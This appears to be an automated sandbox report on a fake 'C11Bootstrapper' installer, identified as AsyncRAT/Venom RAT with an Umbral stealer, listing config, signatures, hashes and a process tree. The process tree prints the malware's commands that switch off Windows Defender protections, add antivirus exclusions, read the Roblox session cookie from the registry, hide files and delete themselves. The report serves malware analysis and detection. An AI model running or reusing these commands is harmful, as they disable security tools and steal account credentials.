Analysis

  • max time kernel
    383s
  • max time network
    342s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240412-en
  • resource tags

    arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    19-04-2024 20:19

General

  • Target

    C11Bootstrapper/Start.bat

  • Size

    1KB

  • MD5

    4e3179e79f11708b60c3af67718cc0ae

  • SHA1

    e22536c444427ce73dcc50091c28477c44e23210

  • SHA256

    6953af9e22a172b023757199cc77c0ea2353bfe7ab1843516a161081f0c1d76d

  • SHA512

    aaf2402399fe8887fe516a3be50054129298970dc322652dc02578a523be74135e02b6856f0b7b774df3c827b131d54828143583038bc5350c40e89dcd1409e1

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

127.0.0.1:4449

127.0.0.1:6555

127.0.0.1:0

127.0.0.1:4040

Mutex

muvxjrglwtxux

Attributes
  • delay

    1

  • install

    true

  • install_file

    PageEditor.exe

  • install_folder

    %Temp%

aes.plain
aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Drops file in Drivers directory 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies registry class 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 58 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Start.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4900
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K IndependenciesInstallation.bat
      2⤵
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:1208
      • C:\Windows\system32\timeout.exe
        timeout /t 5
        3⤵
        • Delays execution with timeout.exe
        PID:1248
      • C:\Windows\system32\timeout.exe
        timeout /t 1
        3⤵
        • Delays execution with timeout.exe
        PID:3380
      • C:\Windows\system32\timeout.exe
        timeout /t 3
        3⤵
        • Delays execution with timeout.exe
        PID:884
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\msgbox.vbs"
        3⤵
          PID:4568
        • C:\Windows\system32\timeout.exe
          timeout /t 4
          3⤵
          • Delays execution with timeout.exe
          PID:1872
        • C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\C11Setup.exe
          C11Setup.exe
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:1156
        • C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe
          GuiLoader.exe
          3⤵
          • Drops file in Drivers directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2260
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" csproduct get uuid
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2520
          • C:\Windows\SYSTEM32\attrib.exe
            "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe"
            4⤵
            • Views/modifies file attributes
            PID:2936
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe'
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2096
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3064
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2088
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:1764
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" os get Caption
            4⤵
              PID:1784
            • C:\Windows\System32\Wbem\wmic.exe
              "wmic.exe" computersystem get totalphysicalmemory
              4⤵
                PID:1820
              • C:\Windows\System32\Wbem\wmic.exe
                "wmic.exe" csproduct get uuid
                4⤵
                  PID:1680
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                  4⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3356
                • C:\Windows\System32\Wbem\wmic.exe
                  "wmic" path win32_VideoController get name
                  4⤵
                  • Detects videocard installed
                  PID:2024
                • C:\Windows\SYSTEM32\cmd.exe
                  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe" && pause
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1248
                  • C:\Windows\system32\PING.EXE
                    ping localhost
                    5⤵
                    • Runs ping.exe
                    PID:1788
              • C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\PageEditor.exe
                PageEditor.exe
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:828

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            627073ee3ca9676911bee35548eff2b8

            SHA1

            4c4b68c65e2cab9864b51167d710aa29ebdcff2e

            SHA256

            85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

            SHA512

            3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            5ea3327eacf4267694da8db0a3e1ae01

            SHA1

            81331a00784b84e045225ba8f90247933e1a6fa0

            SHA256

            65ab24a37883a340cad2c240fbb5b76c48de5a76b60759fb223e353854f678b5

            SHA512

            6c90e220d6fa68b0db76f5f890d19264e56139c7eb280caf14d865c18d7cbf08f41fdf155f9ae09c16bab21bec69106ad19ebf94018f6bac8403e8803cd4d24a

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            d0a4a3b9a52b8fe3b019f6cd0ef3dad6

            SHA1

            fed70ce7834c3b97edbd078eccda1e5effa527cd

            SHA256

            21942e513f223fdad778348fbb20617dd29f986bccd87824c0ae7f15649f3f31

            SHA512

            1a66f837b4e7fb6346d0500aeacb44902fb8a239bce23416271263eba46fddae58a17075e188ae43eb516c841e02c87e32ebd73256c7cc2c0713d00c35f1761b

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            948B

            MD5

            441a842138038e6385e430a90d7ea608

            SHA1

            7b3712d2cdd37e10ee9b3994131ee5175e920f01

            SHA256

            47592f3324179912d3bdba336b9e75568c2c5f1a9fb37c1ba9f0db9df822164c

            SHA512

            9dbddc3216f2a132ae3961b3aeac2c5b8828dcc9292f6c5bf1171c47453aa8687f92658818d771413492c0ea565e9ede17b9c03e427af9dc2ac21a78369a6666

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            57083a8e45ebe4fd84c7c0f137ec3e21

            SHA1

            857b5ea57f7bcf03cadee122106c6e58792a9b84

            SHA256

            f20102c4dc409cad3cdaf7a330c3a18a730a9d7d902b9fbee2a84186cba93d40

            SHA512

            4bbc21c07c05ee1f783242f0fb59324d5ff9ae18bdf892f02980d582fed83380888eeba58e1a6a321507cfd5d4fe82a328a0d3482b29633be4e3ebbeac636f87

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aecusf54.o3y.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf

            Filesize

            8B

            MD5

            cf759e4c5f14fe3eec41b87ed756cea8

            SHA1

            c27c796bb3c2fac929359563676f4ba1ffada1f5

            SHA256

            c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761

            SHA512

            c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b

          • memory/828-9-0x00007FFA3B4B0000-0x00007FFA3BF72000-memory.dmp

            Filesize

            10.8MB

          • memory/828-7-0x0000000002660000-0x0000000002670000-memory.dmp

            Filesize

            64KB

          • memory/828-11-0x00007FFA3B4B0000-0x00007FFA3BF72000-memory.dmp

            Filesize

            10.8MB

          • memory/828-1-0x00000000003E0000-0x00000000003F8000-memory.dmp

            Filesize

            96KB

          • memory/1156-10-0x00007FFA5C3A0000-0x00007FFA5C5A9000-memory.dmp

            Filesize

            2.0MB

          • memory/1156-75-0x00007FFA5C3A0000-0x00007FFA5C5A9000-memory.dmp

            Filesize

            2.0MB

          • memory/1156-5-0x00007FFA3B4B0000-0x00007FFA3BF72000-memory.dmp

            Filesize

            10.8MB

          • memory/1156-3-0x00000000002F0000-0x0000000000334000-memory.dmp

            Filesize

            272KB

          • memory/1156-40-0x00007FFA3B4B0000-0x00007FFA3BF72000-memory.dmp

            Filesize

            10.8MB

          • memory/1764-78-0x00007FFA3B4B0000-0x00007FFA3BF72000-memory.dmp

            Filesize

            10.8MB

          • memory/1764-87-0x00000210765E0000-0x00000210765F0000-memory.dmp

            Filesize

            64KB

          • memory/1764-92-0x00007FFA3B4B0000-0x00007FFA3BF72000-memory.dmp

            Filesize

            10.8MB

          • memory/1764-90-0x00000210765E0000-0x00000210765F0000-memory.dmp

            Filesize

            64KB

          • memory/1764-88-0x00000210765E0000-0x00000210765F0000-memory.dmp

            Filesize

            64KB

          • memory/2088-74-0x000001BDF5BE0000-0x000001BDF5BF0000-memory.dmp

            Filesize

            64KB

          • memory/2088-72-0x000001BDF5BE0000-0x000001BDF5BF0000-memory.dmp

            Filesize

            64KB

          • memory/2088-77-0x00007FFA3B4B0000-0x00007FFA3BF72000-memory.dmp

            Filesize

            10.8MB

          • memory/2088-61-0x00007FFA3B4B0000-0x00007FFA3BF72000-memory.dmp

            Filesize

            10.8MB

          • memory/2096-24-0x0000023B2E590000-0x0000023B2E5A0000-memory.dmp

            Filesize

            64KB

          • memory/2096-20-0x0000023B2E590000-0x0000023B2E5A0000-memory.dmp

            Filesize

            64KB

          • memory/2096-12-0x0000023B46BD0000-0x0000023B46BF2000-memory.dmp

            Filesize

            136KB

          • memory/2096-27-0x00007FFA3B4B0000-0x00007FFA3BF72000-memory.dmp

            Filesize

            10.8MB

          • memory/2096-13-0x00007FFA3B4B0000-0x00007FFA3BF72000-memory.dmp

            Filesize

            10.8MB

          • memory/2096-19-0x0000023B2E590000-0x0000023B2E5A0000-memory.dmp

            Filesize

            64KB

          • memory/2260-49-0x000002A1928F0000-0x000002A192940000-memory.dmp

            Filesize

            320KB

          • memory/2260-95-0x000002A1AC0E0000-0x000002A1AC0F2000-memory.dmp

            Filesize

            72KB

          • memory/2260-48-0x000002A1AB390000-0x000002A1AB406000-memory.dmp

            Filesize

            472KB

          • memory/2260-43-0x00007FFA3B4B0000-0x00007FFA3BF72000-memory.dmp

            Filesize

            10.8MB

          • memory/2260-45-0x000002A1AB280000-0x000002A1AB290000-memory.dmp

            Filesize

            64KB

          • memory/2260-0-0x000002A190B60000-0x000002A190BA4000-memory.dmp

            Filesize

            272KB

          • memory/2260-115-0x00007FFA3B4B0000-0x00007FFA3BF72000-memory.dmp

            Filesize

            10.8MB

          • memory/2260-6-0x00007FFA3B4B0000-0x00007FFA3BF72000-memory.dmp

            Filesize

            10.8MB

          • memory/2260-8-0x000002A1AB280000-0x000002A1AB290000-memory.dmp

            Filesize

            64KB

          • memory/2260-50-0x000002A1910D0000-0x000002A1910EE000-memory.dmp

            Filesize

            120KB

          • memory/2260-94-0x000002A1928C0000-0x000002A1928CA000-memory.dmp

            Filesize

            40KB

          • memory/3064-29-0x00007FFA3B4B0000-0x00007FFA3BF72000-memory.dmp

            Filesize

            10.8MB

          • memory/3064-41-0x000002539B110000-0x000002539B120000-memory.dmp

            Filesize

            64KB

          • memory/3064-44-0x00007FFA3B4B0000-0x00007FFA3BF72000-memory.dmp

            Filesize

            10.8MB

          • memory/3064-38-0x000002539B110000-0x000002539B120000-memory.dmp

            Filesize

            64KB

          • memory/3356-106-0x00007FFA3B4B0000-0x00007FFA3BF72000-memory.dmp

            Filesize

            10.8MB

          • memory/3356-107-0x00000228D8EB0000-0x00000228D8EC0000-memory.dmp

            Filesize

            64KB

          • memory/3356-110-0x00007FFA3B4B0000-0x00007FFA3BF72000-memory.dmp

            Filesize

            10.8MB